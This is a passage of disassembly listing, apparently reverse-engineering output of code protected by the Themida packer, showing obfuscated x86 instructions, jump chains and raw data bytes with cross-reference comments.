		dd 3426866h, 66575A66h,	6651CBBFh, 1CF76657h, 665F6624h
		dd 0F766E7D1h, 0D7F766DFh, 5399E9h
		db 0
; ---------------------------------------------------------------------------


loc_5656B9:				; CODE XREF: Themida_:0056E312j
		sub	eax, esi
		pop	esi
		jmp	loc_55E3FD
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 2Eh
		dd 510866Eh, 6CBE1B57h,	2CE9D801h, 6600003Fh, 81240C8Bh
		dd 4ECh, 0CD7EE900h, 895CFFFFh,	0BA522424h, 4, 4246C81h
		dd 4EFA563Ch, 0FFDB4CE9h, 36E981FFh, 5E05142Bh,	0F704E1C1h
		dd 4EC81D1h, 89000000h,	3C682404h, 582CE511h, 48BC101h
		dd 0E9FEE924h, 48BFFFFh, 42DBE924h, 0C7810000h,	9E71C5Fh
		dd 48D3685Ah, 0C890000h, 81E18924h, 4C1h, 4E98300h, 5C240C87h
		dd 0FF243C89h, 8B042474h, 0C481243Ch, 4, 0A0E7E9h
		db 0
; ---------------------------------------------------------------------------


loc_565759:				; CODE XREF: Themida_:00561207j
		mov	[esp], esi
		mov	esi, 800h
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5700E4
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFF7749h
; ---------------------------------------------------------------------------


loc_56577C:				; CODE XREF: Themida_:00566B13j
		push	edi
		mov	edi, 4
		jmp	loc_565817
; ---------------------------------------------------------------------------


loc_565787:				; CODE XREF: Themida_:0056DB8Aj
		add	edx, 4
		jmp	loc_564315
; ---------------------------------------------------------------------------
		db 89h
		dd 0C389241Ch, 24148B53h, 0E95A5452h, 0FFFFF92Dh
; ---------------------------------------------------------------------------


loc_5657A0:				; CODE XREF: Themida_:00565F86j
		sub	ecx, esi
		pop	esi
		neg	ecx
		push	ebx
		mov	ebx, 6FD746DEh
		and	ecx, ebx
		pop	ebx
		shl	ecx, 7
		jmp	loc_571328
; ---------------------------------------------------------------------------
		dw 8F58h
		dd 248B2404h, 241C8924h, 4BBh, 5BDF8900h, 555FFA01h, 604058BDh
		dd 5BF5736h, 2170DD15h,	243C8BFDh, 8088E9h
		db 0
; ---------------------------------------------------------------------------


loc_5657E1:				; CODE XREF: Themida_:0055E5BDj
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		push	edi
		mov	edi, 0B1070A8h
		shl	edi, 4
		jmp	loc_57047F
; ---------------------------------------------------------------------------
		db 5Ch,	87h, 1Ch
		dd 0F665C24h, 5166C8AFh, 76BBE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56580A:				; CODE XREF: Themida_:0055DF6Bj
		sub	eax, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_56CB8E
; ---------------------------------------------------------------------------


loc_565817:				; CODE XREF: Themida_:00565782j
		mov	ebp, edi
		pop	edi
		jmp	loc_56A5BC
; ---------------------------------------------------------------------------
aAAaja		db '³Ç€ÃÎ€í¦€Åµ',0
		db 0DDh
		dd 80B5ED80h, 6DE9A6C5h, 83FFFFC5h, 0FF042404h,	65E92434h
		dd 83000029h, 348704C6h, 360AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56584E:				; CODE XREF: Themida_:0056E5FFj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	esp
		pop	edx
		jmp	loc_56DB84
; ---------------------------------------------------------------------------
		db 0BBh, 20h, 3Ch
		dd 0E95615C4h, 0BB89h, 23C168h,	0D7B0E900h, 0D8F7FFFFh
		dd 2915E948h, 4830000h,	815F0424h, 4C7h, 147C6800h, 0A3E90000h
		dd 2D000065h, 4, 5C240487h, 54241C89h, 863CE95Bh, 0E957FFFFh
		dd 72FBh
; ---------------------------------------------------------------------------


loc_5658A8:				; CODE XREF: Themida_:0055DB0Ej
		add	esp, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_55FA26
; ---------------------------------------------------------------------------
		db 56h
		dd 0AE6C8FBEh, 0CE874E1Dh, 0E9CE8749h, 0FFFF931Dh, 0E992D787h
		dd 0FFFF8F40h, 81665B66h, 52ACCCF6h, 0A8B96651h, 0D1F76633h
		dd 8E9C166h, 81664966h,	664B73C9h, 0BFE3C181h, 0FFA77DE9h
		dd 80C4FEFFh, 0EC8072ECh, 7D96E92Dh, 268FFFFh, 89000033h
		dd 0C3E92404h, 66000037h, 8124048Bh, 4ECh, 24348900h, 24348B54h
		dd 4C481h, 0EC830000h, 240C8904h, 0FFA7B7E9h, 61ED80FFh
		dd 8859EB88h, 0F1805BD9h, 95B9E985h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565946:				; CODE XREF: Themida_:005678FBj
		mov	[esp], edx
		mov	dh, 83h
		mov	bl, dh
		jmp	loc_56E8F5
; ---------------------------------------------------------------------------
		dw 8B58h
		dd 89522404h, 0BBBD55E2h, 8159092Ch, 0F852E1CDh, 7E70E909h
		dd 0F181FFFFh, 53D0BC8h, 3F8FBB53h, 0D93150CCh,	6855515Bh
		dd 1CB33888h, 8E5C15Dh,	29AFCD81h, 0ED81076Bh, 720E2B5Ch
		dd 815DE989h, 30594DC1h, 67E98149h, 15F2490h, 12E959CAh
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5659A7:				; CODE XREF: Themida_:0055E005j
		sub	esp, 4
		mov	[esp], esi
		push	2A0Dh
		mov	[esp], ecx
		mov	ecx, 22D94EF1h
		mov	esi, ecx
		mov	ecx, [esp]
		jmp	loc_562234
; ---------------------------------------------------------------------------


loc_5659C7:				; CODE XREF: Themida_:00569FF0j
		not	ecx
		xchg	ecx, [esp]
		inc	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_568952
; ---------------------------------------------------------------------------
a_sN		db '_é*N',0
		dw 8900h
		dd 6768243Ch, 0E905C255h, 0FFFFA0BCh
; ---------------------------------------------------------------------------


loc_5659F0:				; CODE XREF: Themida_:0055E4EFj
		pop	esp
		jmp	loc_56DD70
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 19DD33E8h, 4337E9h, 24148B00h, 0FFB560E9h, 2434FFFFh
		dd 9EA6E958h, 0E289FFFFh, 1055E9h, 2434FF00h, 4EC8358h
		dd 0E9241C89h, 0FFFFCC2Eh
; ---------------------------------------------------------------------------


loc_565A28:				; CODE XREF: Themida_:00571502j
		push	ecx
		pop	ebp
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5633F8
; ---------------------------------------------------------------------------
		db 83h,	0EAh, 1
		dd 0AADFEA81h, 0D031F4C4h, 8324148Bh, 525104C4h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	5C8004E7h
		pop	ebx
		dec	ebx
		inc	ebx
		sub	ebx, 1
		not	ebx
		add	ebx, 696982ACh
		mov	edx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 1B953895h
		add	ebx, 6FDA7DEBh
		xor	ebx, 0DF1E6E17h
		mov	ecx, ebx
		pop	ebx
		sub	ecx, edx
		pop	edx
		jmp	loc_55D30D
; ---------------------------------------------------------------------------
		db 0BBh, 0F8h, 87h
		dd 0C381B84Fh, 5E12E9Eh, 70CEEB81h, 0E9E912E1h,	81000090h
		dd 3669D5EDh, 0E95F5E15h, 0FFFFF92Dh, 71C7F681h, 0F58942D7h
		dd 6EDC15Eh, 0DCDAED81h, 2C2D016Bh, 553FF808h, 0A336E9h
		dd 1B686600h, 0C896674h, 73DBE924h, 3C89FFFFh, 858EBF24h
		dd 0FD01921Bh, 83243C8Bh, 0F72D04C4h, 2941EB4Bh, 4BF705E8h
		dd 15D41EBh, 6D6A05E8h,	0BF57623Bh, 5E3866F7h, 84E9474Fh
		dd 0AD0000C4h, 207F83h,	0A847840Fh, 0C6810000h,	674D7Bh
		dd 5651C601h, 6BE9E689h
		db 0CAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_565B37:				; CODE XREF: Themida_:0056CF23j
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	esp
		pop	dword ptr [esp]
		jmp	loc_563BBA
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 1Ch
		dd 5CE99C24h, 8BFFFF7Eh, 0F7662424h, 226866E9h,	1489666Ch
		dd 9C506624h, 0FF735CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565B69:				; CODE XREF: Themida_:0056CFCFj
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_56CCCB
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 5184h, 0E9243489h, 560Eh
; ---------------------------------------------------------------------------


loc_565B88:				; CODE XREF: Themida_:00565CC7j
		pop	esp
		jmp	loc_5637DE
; ---------------------------------------------------------------------------
		dw 489h
		dd 11F66824h, 0E9587537h, 67EEh
; ---------------------------------------------------------------------------


loc_565B9C:				; CODE XREF: Themida_:00566BC7j
		mov	esi, 77A43500h
		sub	esi, 47A34E8Ah
		add	esi, 48AC64EEh
		jmp	loc_5714F6
; ---------------------------------------------------------------------------
		dw 489h
		dd 730BE924h, 0E181FFFFh, 722536F7h, 3C7FE181h,	0E1812772h
		dd 697B385Fh, 45D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_565BD1:				; CODE XREF: Themida_:0056CD67j
		mov	[esp], eax
		push	3C9h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		push	5E37664Ch
		jmp	loc_56B471
; ---------------------------------------------------------------------------
		db 81h
		dd 54E64F1h, 59CA8929h,	6A30EB81h, 0D3010264h, 2BF3BE56h
		dd 50531E14h, 0E139BDB8h, 9BAEE92Ah, 2C89FFFFh,	4EC8124h
		dd 89000000h, 0AC682414h, 5A029469h, 1E768h, 241C8900h
		dd 358FBD55h, 0E955242Ah, 0C88Fh, 874AD387h, 4BDBF7D3h
		dd 9FBAF381h, 0DA8998EDh, 83241C8Bh, 0E2C104C4h, 81DAF704h
		dd 0CE328AE2h, 0A1CA8108h, 8108AD31h, 0D14F2BCAh, 28C28139h
		dd 1E8F839h, 81555AD5h,	4C0C242Ch, 815A2B6Ah, 6A4C0CC2h
		dd 0D7895D2Bh, 2E7C15Ah, 8749CF87h, 0A3B3E9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565C8E:				; CODE XREF: Themida_:0055DCFEj
		sub	ecx, 561F178Ah
		sub	ecx, 31A3749Ah
		pop	eax
		add	ecx, ebx
		jmp	loc_563FC5
; ---------------------------------------------------------------------------
		dw 1EE9h
		dd 0BFFFFF72h, 5C75246Bh, 0C15FF929h, 0E94102E9h, 2848h
; ---------------------------------------------------------------------------


loc_565CB8:				; CODE XREF: Themida_:00570D92j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_565B88
; ---------------------------------------------------------------------------
aI4Icsy		db '‰4$‰æéY;',0
		align 2
aQscm		db 'QécŒ',0
		align 4
		dd 244ABD55h, 814D5CBCh, 610DDFF5h, 5D525509h, 0AEE9525Ah
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565CF3:				; CODE XREF: Themida_:0056D486j
		push	28BCh
		mov	[esp], eax
		jmp	loc_5648EB
; ---------------------------------------------------------------------------


loc_565D00:				; CODE XREF: Themida_:0056BDEAj
		add	ebx, 263714AAh
		add	ebx, eax
		sub	ebx, 263714AAh
		pop	eax
		add	ebx, 4
		jmp	loc_56BD2B
; ---------------------------------------------------------------------------
aRUqsm?		db 'Rº²',7,'žQé¬?',0
		align 2
		dw 565Ah
		dd offset byte_57FCE9
		dd 78C38100h, 8B0BB102h, 0C8E9242Ch, 66000048h,	12CDEB81h
		dd 0E904EC83h, 0BB7Eh
; ---------------------------------------------------------------------------


loc_565D44:				; CODE XREF: Themida_:00563BBBj
		push	esi
		jmp	loc_5642B3
; ---------------------------------------------------------------------------
		dw 0CA09h
		dd 81DAF759h, 4810E6C2h, 5AD6019Dh, 1C21F681h, 0C7818691h
		dd 67612B5Bh, 0A4E9F701h
		db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_565D6B:				; CODE XREF: Themida_:0056AEFCj
		mov	ebx, ecx
		mov	esi, ebx
		pop	ebx
		pop	ecx
		push	ecx
		mov	ecx, 770C28DAh
		push	ebx
		mov	ebx, 668F70C7h
		sub	esi, 487338F3h
		sub	esi, ebx
		jmp	loc_567B92
; ---------------------------------------------------------------------------


loc_565D8A:				; CODE XREF: Themida_:0055FBECj
		push	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	eax
		mov	eax, 4
		push	ecx
		mov	ecx, 55EF71B6h
		sub	ebx, ecx
		pop	ecx
		add	ebx, eax
		add	ebx, 55EF71B6h
		mov	eax, [esp]
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 48E66E07h
		mov	edx, 0EFB90821h
		add	edx, eax
		pop	eax
		shl	edx, 3
		dec	edx
		neg	edx
		push	ecx
		mov	ecx, 0C4FBB143h
		add	edx, ecx
		pop	ecx
		sub	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		jmp	loc_55D5C9
; ---------------------------------------------------------------------------


loc_565DE0:				; CODE XREF: Themida_:005640C8j
		pop	esi
		jmp	loc_56B50F
; ---------------------------------------------------------------------------
		dw 0EA01h
		dd 39F2E9h
		db 0
; ---------------------------------------------------------------------------


loc_565DED:				; CODE XREF: Themida_:0056C135j
		push	0BD8h
		mov	[esp], edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_56C6F7
; ---------------------------------------------------------------------------


loc_565E02:				; CODE XREF: Themida_:00560560j
		sub	ebx, edi
		pop	edi
		jmp	loc_5611E2
; ---------------------------------------------------------------------------
		dw 0E5C1h
		dd 0EFCE908h, 15C0000h,	241C8BDEh, 4C481h, 34330000h, 24343124h
		dd 8B243433h, 0F9F62424h, 0CCB60F66h, 0AF6CE9h,	75BBBF00h
		dd 0EF81634Fh, 0F81E28D0h, 0FF9D81E9h, 243487FFh, 240C895Ch
		dd 592414F7h, 0AE13E9h
		db 0
; ---------------------------------------------------------------------------


loc_565E55:				; CODE XREF: Themida_:0055F8F9j
		mov	[esp], ebp
		push	edx
		mov	edx, 67021942h
		mov	ebp, 757A88F3h
		sub	ebp, edx
		jmp	loc_5676BD
; ---------------------------------------------------------------------------


loc_565E6A:				; CODE XREF: Themida_:0056172Bj
		mov	edx, 0C6BC94FCh
		sub	edx, 52002E8Ch
		add	edx, 757C07AAh
		add	edx, esi
		sub	edx, 757C07AAh
		add	edx, 52002E8Ch
		pop	esi
		jmp	loc_56FD20
; ---------------------------------------------------------------------------
		db 56h
		dd 0EC81E689h, 4, 0E9242C89h, 593Dh
; ---------------------------------------------------------------------------


loc_565EA0:				; CODE XREF: Themida_:0056C912j
		sub	ebx, edx
		push	esi
		mov	esi, 8120D51h
		sub	ebx, esi
		pop	esi
		pop	edx
		shr	ebx, 8
		and	ebx, 100B1B9Fh
		push	edi
		mov	edi, 2D124C02h
		add	ebx, edi
		jmp	loc_55DFB8
; ---------------------------------------------------------------------------
		dw 0C981h
		dd 0C020E5Bh, 0FFBEC9E9h, 0B9FFh, 0D1010000h, 0B8A7E9h
		dd 24343300h, 243C335Ch, 33243C31h, 515C243Ch, 0FE3AB252h
		dd 2E2C0CAh, 192DE9h, 89535000h, 4C381E3h, 81000000h, 4EBh
		dd 241C8700h, 240C895Ch, 0C1815954h, 4,	4E981h,	0C330000h
		dd 240C3124h, 5C240C33h, 0B8240489h, 6AC22685h,	0E72BE56h
		dd 0F001A050h, 7D79685Eh, 7BE90000h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565F3F:				; CODE XREF: Themida_:00572403j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 197D23FCh
		xor	ebp, 606DB02Dh
		jmp	loc_56BF06
; ---------------------------------------------------------------------------


loc_565F55:				; CODE XREF: Themida_:0057143Ej
		dec	edx
		shr	edx, 1
		sub	edx, 1D3528EEh
		xor	edx, 49201C82h
		add	edx, 46B5185Eh
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_5620A4
; ---------------------------------------------------------------------------


loc_565F80:				; CODE XREF: Themida_:00560726j
		push	esi
		mov	esi, 0FFFFFFFFh
		jmp	loc_5657A0
; ---------------------------------------------------------------------------
		db 52h
		dd 0CA676D68h, 8053E955h, 5F68FFFFh, 0E9000066h, 7969h
		dd 0AE9E389h, 89FFFFC9h, 0E6892434h, 4BA52h, 0EE810000h
		dd 53C126E3h, 4D6BEE81h, 0EE812AE7h, 3DF75916h,	1C1BEE81h
		dd 0D6012391h, 1C1BC681h, 0C6812391h, 3DF75916h, 0BFF0E9h
		dd 32E3B900h, 0CD894DE4h, 69E8E959h, 34310000h,	24343324h
		dd 0F724248Bh, 0E08950F1h, 0E9E68956h, 6A0Ah, 66C0B60Fh
		dd 666E6B68h, 0E9240489h, 0FFFF6EB5h
; ---------------------------------------------------------------------------


loc_566010:				; CODE XREF: Themida_:0055E04Dj
		pop	ebp
		push	edi
		push	eax
		mov	eax, 674350D7h
		add	eax, 25B14AEFh
		shl	eax, 6
		dec	eax
		push	ebx
		mov	ebx, 5D991AB0h
		neg	ebx
		or	ebx, 4FB56C82h
		dec	ebx
		push	esi
		mov	esi, 7152005Bh
		jmp	loc_571269
; ---------------------------------------------------------------------------


loc_56603B:				; CODE XREF: Themida_:005638EEj
		sub	ecx, 0FBBFF700h
		jmp	loc_56014B
; ---------------------------------------------------------------------------
		dw 0DFF7h
aSs_1		db 'Sé´¿',0
		align 2
		dw 0F381h
		dd 3F951144h, 6115C381h, 0F0E978CCh
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56605F:				; CODE XREF: Themida_:0056A819j
		push	732Ch
		jmp	loc_566B2A
; ---------------------------------------------------------------------------
		db 0BEh, 10h, 0Fh
		dd 0EEC10029h, 14F75606h, 81465E24h, 4ECh, 242C8900h, 8301EBDh
		dd 0E5814516h, 104F4A64h, 0E7ED814Dh, 29739A14h, 0B07DE9EEh
		dd 4310000h, 9B89E924h,	34FF0000h, 32E95F24h, 68FFFFE5h
		dd 2F744121h, 0DDF7815Fh, 0E93F8C36h, 4AD5h
; ---------------------------------------------------------------------------


loc_5660BC:				; CODE XREF: Themida_:00571868j
		push	ecx
		jmp	loc_56CCF2
; ---------------------------------------------------------------------------


loc_5660C2:				; CODE XREF: Themida_:00562A30j
		add	ebp, 4
		jmp	loc_568788
; ---------------------------------------------------------------------------
		db 59h,	31h, 0D0h
		dd 81C3315Ah, 4ECh, 79A6E900h, 3C87FFFFh, 77E95C24h, 88000066h
		dd 7FF7E9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5660EE:				; CODE XREF: Themida_:0055F713j
		pop	edi
		xor	edi, ebx
		pop	ebx
		jmp	loc_55EBA3
; ---------------------------------------------------------------------------
		db 1
		dd 7604E9D0h, 0E980FFFFh, 0DFC1802Fh, 0FF9E04E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566109:				; CODE XREF: Themida_:00561998j
		pop	esp
		push	ecx
		push	34F25389h
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_564743
; ---------------------------------------------------------------------------


loc_566119:				; CODE XREF: Themida_:0056018Ej
		or	ebx, 6CE06F2Dh
		sub	esp, 4
		mov	[esp], edi
		push	eax
		push	3DFB14D2h
		pop	eax
		add	eax, 0FFFFFFFFh
		add	eax, 58851A40h
		jmp	loc_56F96C
; ---------------------------------------------------------------------------


loc_566139:				; CODE XREF: Themida_:00566DBCj
		push	dword ptr [esp]
		jmp	loc_571443
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 81000000h, 6F042444h, 116E169h, 8104244Ch, 6F04246Ch
		dd 0FF16E169h, 81592434h, 4C4h,	0BC58E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56616A:				; CODE XREF: Themida_:005687CFj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56305D
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 2434FF24h, 8C97E958h, 0B4050000h,	10BFA2Dh
		dd 2DB42DD0h, 68530BFAh, 0
		dd 0FFCF4EE9h, 240429FFh, 6BE95358h, 8100000Eh,	42404h
		dd 515B0000h, 3D0337B9h, 6F18118h, 815F6010h, 70413AF1h
		dd 0E9C14935h, 6E9C108h, 8E95755h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5661CB:				; CODE XREF: Themida_:00569D4Fj
		mov	ecx, 154C1077h
		add	ecx, 21173E6Fh
		mov	eax, ecx
		pop	ecx
		xor	eax, 3A626EE0h
		jmp	loc_5720F4
; ---------------------------------------------------------------------------
		db 0BEh
		dd 58864DBDh, 0FFAE4FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5661ED:				; CODE XREF: Themida_:00567DCCj
		push	dword ptr [esp]
		pop	eax
		push	243Ah
		jmp	loc_560A94
; ---------------------------------------------------------------------------
		db 66h
		dd 0E94BB368h, 0FFFF717Bh, 81D1F749h, 5950A3C9h, 5E1C122h
		dd 5AE8E181h, 0E9C16985h, 97F18102h, 816D653Ah,	621BADEAh
		dd 0CBEAE92Eh, 158FFFFh, 2C8758C5h, 0F7885C24h,	8B3A885Ah
		dd 0C483241Ch, 0FA60E904h, 2CACFFFFh, 2EC8338h,	240C8966h
		dd 8904EC83h, 85E92414h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566257:				; CODE XREF: Themida_:00570EAFj
		push	ecx
		jmp	loc_560379
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0DCh
		dd 2922F07Dh, 0DCBF57FAh, 0E922F07Dh, 0FFFF8E89h, 0D7F68146h
		dd 819499F9h, 5C0529EBh, 0E9F3295Ch, 7027h
; ---------------------------------------------------------------------------


loc_566284:				; CODE XREF: Themida_:00561FA5j
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_562CBD
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 0DEE95C24h, 0BEFFFF92h, 4, 1390E9h
		db 0
; ---------------------------------------------------------------------------


loc_5662A1:				; CODE XREF: Themida_:00560118j
		mov	[esp], ebp
		jmp	loc_56318D
; ---------------------------------------------------------------------------


loc_5662A9:				; CODE XREF: Themida_:005672B4j
		mov	eax, 13B6E05Eh
		sub	edx, eax
		pop	eax
		sub	edi, edx
		pop	edx
		jmp	loc_5666FF
; ---------------------------------------------------------------------------
		db 0B9h, 14h, 1
		dd 8E95A41h, 81FFFFA7h,	0B417FAE2h, 65BD5549h, 0E9745273h
		dd 411h
; ---------------------------------------------------------------------------


loc_5662D4:				; CODE XREF: Themida_:005711E7j
		add	ebx, 2708159Fh
		sub	ebx, ebp
		jmp	loc_562CFE
; ---------------------------------------------------------------------------
		db 50h,	88h, 0F0h
aIXs		db 'ˆÅXé,Â',0
		align 4
		dd 24048F59h, 0FFC92FE9h, 2434FFFFh, 4D26E958h,	0DDB30000h
		dd 0D7E9D800h, 5800006Ch, 3FBEBA52h, 0EAC17A74h, 3BB85008h
		dd 31007A74h, 0BADFE9C2h, 0C4830000h, 0C7CE904h, 0BD550000h
		dd 5E5C2C75h, 1EA1E9h, 24248B00h, 0E9243C89h, 67C8h, 4C281h
		dd 3E90000h, 5CFFFFA4h,	0FFB93EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56634D:				; CODE XREF: Themida_:00568B9Bj
		sub	esp, 4
		jmp	loc_570248
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 4BD55h, 0E8290000h, 2404875Dh, 792FE9h
		db 0
; ---------------------------------------------------------------------------


loc_56636D:				; CODE XREF: Themida_:0055DCEAj
		pop	edx
		push	ebp
		mov	ebp, 1FD05646h
		sub	ebx, ebp
		pop	ebp
		xor	edx, ebx
		jmp	loc_563C6D
; ---------------------------------------------------------------------------
		dw 2C81h
		dd 5D762924h, 0C1815965h, 655D7629h, 8BCA015Fh,	0C483240Ch
		dd 0BF575304h, 2, 0E9FD8955h, 44Dh, 0E904C483h,	1D55h
		dd 0FFFFEA81h, 0EA81FFFFh, 0CC3EAF63h, 525AD089h, 7B6911BAh
		dd 0E2EA8101h, 0E9A31444h, 5A0Ch, 8104C483h, 2435242Ch
		dd 0E956094Dh, 0FFFFB558h
; ---------------------------------------------------------------------------


loc_5663DC:				; CODE XREF: Themida_:0056E3A0j
		sub	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_561CF9
; ---------------------------------------------------------------------------


loc_5663EC:				; CODE XREF: Themida_:0055E619j
		pop	esi
		push	79E6h
		jmp	loc_55D184
; ---------------------------------------------------------------------------


loc_5663F7:				; CODE XREF: Themida_:00567764j
		mov	edi, 38783B78h
		add	edi, 3F2E6198h
		add	edi, 2BE57FA2h
		push	ebx
		mov	ebx, 58433177h
		or	edi, ebx
		pop	ebx
		xor	edi, 3CFE61C8h
		and	edi, 4C1B173Ch
		push	ebx
		mov	ebx, 365C0417h
		sub	edi, ebx
		pop	ebx
		jmp	loc_56ACA6
; ---------------------------------------------------------------------------


loc_56642B:				; CODE XREF: Themida_:0056E9ECj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56DA83
; ---------------------------------------------------------------------------
		dw 8966h
		dd 3DE92414h, 5D0000A9h, 5149F381h, 0DA015010h,	0BB40E9h
		dd 81555A00h, 5A9C242Ch, 0B4E9243Ah, 0B5000059h, 42E580BCh
		dd 0FFB2D8E9h, 54555AFFh, 4C5815Dh, 0E9000000h,	0FFFFCC2Bh
; ---------------------------------------------------------------------------


loc_566474:				; CODE XREF: Themida_:0056A7B9j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, 11FB18B7h
		jmp	loc_564E29
; ---------------------------------------------------------------------------
		dd 315FF931h, 0E95159C8h, 0FFFFABE7h
; ---------------------------------------------------------------------------


loc_566494:				; CODE XREF: Themida_:0056F3E1j
		xor	esi, ebx
		pop	ebx
		sub	esi, 1
		not	esi
		shr	esi, 1
		add	esi, 5BD0147Ch
		jmp	loc_56FC0E
; ---------------------------------------------------------------------------
		db 5Dh,	0C1h, 0E2h
		dd 72C28107h, 291DC9BDh, 24148BD0h, 0FFC6FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5664BD:				; CODE XREF: Themida_:0056A930j
		push	ebp
		push	eax
		mov	eax, 73FA0B8Dh
		mov	ebp, 0B8B7715Ch
		push	edi
		jmp	loc_55DD03
; ---------------------------------------------------------------------------
		db 5Ch
		dd 815EF001h, 4ECh, 24048900h, 7D2E4FB8h, 0FE40E952h, 159FFFFh
		dd 24048BC7h, 75E168h, 6FB3E900h, 83BE0000h, 17E9C76h
		dd 0F5295EF5h, 7683ED81h, 15E7E9Ch, 5D04246Ch, 5D00E9h
		dd 89565A00h, 8FBA52E6h, 0C14B5C75h, 0BF5703EAh, 15446B6Dh
		dd 0FF807BE9h, 241489FFh, 0FF9FA9E9h, 0FEE950FFh, 5200000Dh
		dd 0EA8030B2h, 5AD3009Bh, 682BEB80h, 6F98h, 0E9240489h
		dd 683Bh, 9FB1EA81h, 0D509F6A1h, 1726E9h, 0ABC68100h, 3181946Bh
		dd 8AF6E9F7h, 3C8B0000h, 4C48124h, 68000000h, 249Eh, 56241C89h
		dd 4BEh, 0FFF38900h, 835E2434h,	0D90104C4h, 68241C8Bh
		dd 0F1Eh, 89240C89h, 4C181E1h, 0E9000000h, 98C1h, 0E95FFA01h
		dd 987Ch, 3E5F71BFh, 0E7814F6Bh, 709E128Ch, 741BF781h
		dd 0FD897935h, 5DEB295Fh, 57E9EB01h, 30FFFF70h,	52665AD1h
		dd 0D128E4B2h, 3473E9h,	0C4815F00h, 4, 5C24048Fh, 68C8B60Fh
		dd 71BBh, 0E9240C89h, 0FFFF68D1h, 0C6F7815Fh, 53107160h
		dd 0DC377DBBh, 5BDA014Eh, 0B850FA01h, 434834B3h, 9402CA05h
		dd 58C2290Bh, 30DB685Fh, 8CE90000h, 5BFFFFCDh, 51C268h
		dd 24048900h, 1B8h, 58C60100h, 1DB0F681h, 0F1017712h, 4C1835Eh
		dd 8B240C87h
		db 2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56F863
; ---------------------------------------------------------------------------
		dd 46F68h, 241C8900h, 42474FFh,	5375E9h, 16CDBA00h, 0D2F75F13h
		dd 0F2F28142h, 89FA1C99h, 0B8505AD6h, 77D03336h, 23E9C601h
		dd 8F000092h, 248B2404h, 683BE924h, 25BDFFFFh, 0E9335030h
		dd 0FFFFF776h
; ---------------------------------------------------------------------------


loc_566694:				; CODE XREF: Themida_:00571DAFj
		xchg	edx, ebp
		inc	edx
		jmp	loc_565200
; ---------------------------------------------------------------------------
		dd 5B1EBF57h, 8BE95622h, 5AFFFFE9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55E559
; ---------------------------------------------------------------------------


loc_5666BC:				; CODE XREF: Themida_:0055DFCDj
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		jmp	loc_560DEF
; ---------------------------------------------------------------------------
		db 0C1h, 0E0h, 2
		dd 49620005h, 73FE2517h, 0B95116F4h, 45287BFDh,	4F9EE9h
		dd 2E5C100h, 7E9DDF7h, 81000033h, 4C4h,	342F6800h, 0C6E90000h
